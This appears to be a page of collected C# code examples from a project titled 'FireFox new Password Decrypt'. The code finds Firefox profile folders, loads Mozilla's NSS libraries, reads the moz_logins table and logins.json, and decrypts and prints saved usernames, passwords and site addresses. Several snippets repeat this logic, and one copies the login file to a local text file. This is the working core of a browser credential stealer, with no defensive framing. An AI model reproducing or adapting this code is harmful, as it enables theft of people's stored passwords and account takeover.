Пример #1
0
        public static void Old_FF()
        {
            foreach (string dir in Directory.GetDirectories(PathFireFox.GetRandomFF()))
            {
                string signonsFile = Path.Combine(dir, "signons.sqlite");
                if (File.Exists(signonsFile))
                {
                    DecMozilla.NSS_Init(dir);
                    DecMozilla.PK11_Authenticate(DecMozilla.PK11_GetInternalKeySlot(), true, 0);
                    using (var Connect = new SQLiteConnection($"Data Source={signonsFile};Version=3;New=False;Compress=True;"))
                    {
                        using (var ComText = new SQLiteCommand("SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins", Connect))
                        {
                            Connect.Open();
                            ComText.CommandType = CommandType.Text;
                            using (var reader = ComText.ExecuteReader())
                            {
                                while (reader.Read())
                                {
                                    string Link     = reader.GetString(2);
                                    string UserName = DecMozilla.Decrypt(reader.GetString(0));
                                    string Password = DecMozilla.Decrypt(reader.GetString(1));

                                    System.Console.WriteLine(Link);
                                    System.Console.WriteLine(UserName);
                                    System.Console.WriteLine(Password);
                                }
                            }
                        }
                    }
                    //              0      1        2             3              4             5              6                7                 8     9
                    // moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField, passwordField, encryptedUsername, encryptedPassword, guid, encType)
                }
            }
        }
Пример #2
0
        public static void InitializeDelegates()
        {
            string[] Massive = new string[]
            {
                "msvcp120.dll", "msvcr120.dll",
                "mozglue.dll", "msvcp140.dll",
                "softokn3.dll", "nssutil3.dll",
                "nspr4.dll", "nssutil3.dll",
                "mozsqlite3.dll", "plc4.dll",
                "plds4.dll"
            };

            try
            {
                for (var i = 0; i <= Massive.Length; i++)
                {
                    if (File.Exists(Path.Combine(PathFireFox.GetRegistryFireFox(), Massive[i])))
                    {
                        // NativeMethods.SetDllDirectory(Path.Combine(PathFireFox.GetRegistryFireFox())); // TEST
                        //  NSS_Init(Path.Combine(PathFireFox.GetRegistryFireFox())); // TEST
                        Console.WriteLine(Path.Combine(PathFireFox.GetRegistryFireFox(), Massive[i]));
                        Console.WriteLine(Path.Combine(PathFireFox.GetRegistryFireFox(), "nss3.dll"));
                        // LoadDLL(string.Concat(PathFireFox.GetRegistryFireFox(), Massive[i]));
                        // _nssModule = LoadDLL(Path.Combine(PathFireFox.GetRegistryFireFox(), @"\nss3.dll"));
                    }
                }
            }
            catch { }
            // PK11_Authenticate(PK11_GetInternalKeySlot(), true, 0);
        }
Пример #3
0
        public static void _OldFireFox()
        {
            foreach (var dir in Directory.GetDirectories(PathFireFox.GetRandomFF()))
            {
                using (var Connect = new SQLiteConnection($"Data Source={Path.Combine(dir, "signons.sqlite")};Version=3;New=False;Compress=True;"))
                {
                    using (var ComText = new SQLiteCommand("SELECT encryptedUsername, encryptedPassword, hostname FROM moz_logins", Connect))
                    {
                        Connect.Open();
                        ComText.CommandType = CommandType.Text;
                        using (var reader = ComText.ExecuteReader())
                        {
                            while (reader.Read())
                            {
                                string Link     = reader.GetString(2);
                                string UserName = DecMozilla.Decrypt(reader.GetString(0));
                                string Password = DecMozilla.Decrypt(reader.GetString(1));

                                System.Console.WriteLine(Link);
                                System.Console.WriteLine(UserName);
                                System.Console.WriteLine(Password);
                            }
                        }
                    }
                }
            }
        }
Пример #4
0
        private static void Main()
        {
            Console.Title = "FireFox new Password Decrypt";
            Console.WriteLine(PathFireFox.GetRegistryFireFox());

            DecMozilla.InitDelegates();
            Console.ReadKey();
        }
Пример #5
0
 public static void GetNewPassword()
 {
     using (var sr = new StreamReader(Path.Combine(PathFireFox.GetRandomFF(), "logins.json")))
     {
         // Newtonsoft.Json.JsonConvert.DeserializeObject<dynamic>((sr.ReadToEnd()));
     }
     File.AppendAllText("Json.txt", (File.ReadAllText(Path.Combine(PathFireFox.GetRandomFF(), "logins.json"))));
 }
Пример #6
0
 private void InitializeDelegates()
 {
     string[] Massive = new string[] { "msvcp120.dll", "msvcr120.dll", "mozglue.dll" };
     for (var i = 0; i <= Massive.Length; i++)
     {
         NativeMethods.LoadLibrary(string.Concat(PathFireFox.GetRegistryFireFox(), Massive[i]));
     }
     _nssModule = NativeMethods.LoadLibrary(string.Concat(PathFireFox.GetRegistryFireFox(), @"\nss3.dll"));
     PK11_Authenticate(PK11_GetInternalKeySlot(), true, 0);
 }
Пример #7
0
        static void Main(string[] args)
        {
            // Console.WriteLine(PathFireFox.GetLocationFireFox());
            Console.WriteLine(PathFireFox.GetRandomFF());
            DecMozilla.InitializeDelegates();
            //GetPassword.Old_FF();

            // DecMozilla.InitializeDelegates();
            Console.ReadKey();
        }
Пример #8
0
 public static void InitDelegates()
 {
     try
     {
         for (var i = 0; i <= Massive.Length; i++)
         {
             if (File.Exists(Path.Combine(PathFireFox.GetRegistryFireFox(), Massive[i])))
             {
                 // NativeMethods.SetDllDirectory(Path.Combine(PathFireFox.GetRegistryFireFox())); // TEST
                 //  NSS_Init(Path.Combine(PathFireFox.GetRegistryFireFox())); // TEST
                 Console.WriteLine(Path.Combine(PathFireFox.GetRegistryFireFox(), Massive[i]));
                 Console.WriteLine(Path.Combine(PathFireFox.GetRegistryFireFox(), "nss3.dll"));
                 // LoadDLL(string.Concat(PathFireFox.GetRegistryFireFox(), Massive[i]));
                 // _nssModule = LoadDLL(Path.Combine(PathFireFox.GetRegistryFireFox(), @"\nss3.dll"));
             }
             else
             {
                 Console.WriteLine("Not Found");
             }
         }
     }
     catch { }
 }
Пример #9
0
 static void Main(string[] args)
 {
     Console.WriteLine(PathFireFox.GetLocationFireFox());
     // Console.WriteLine(PathFireFox.GetRegistryFireFox());
     Console.ReadKey();
 }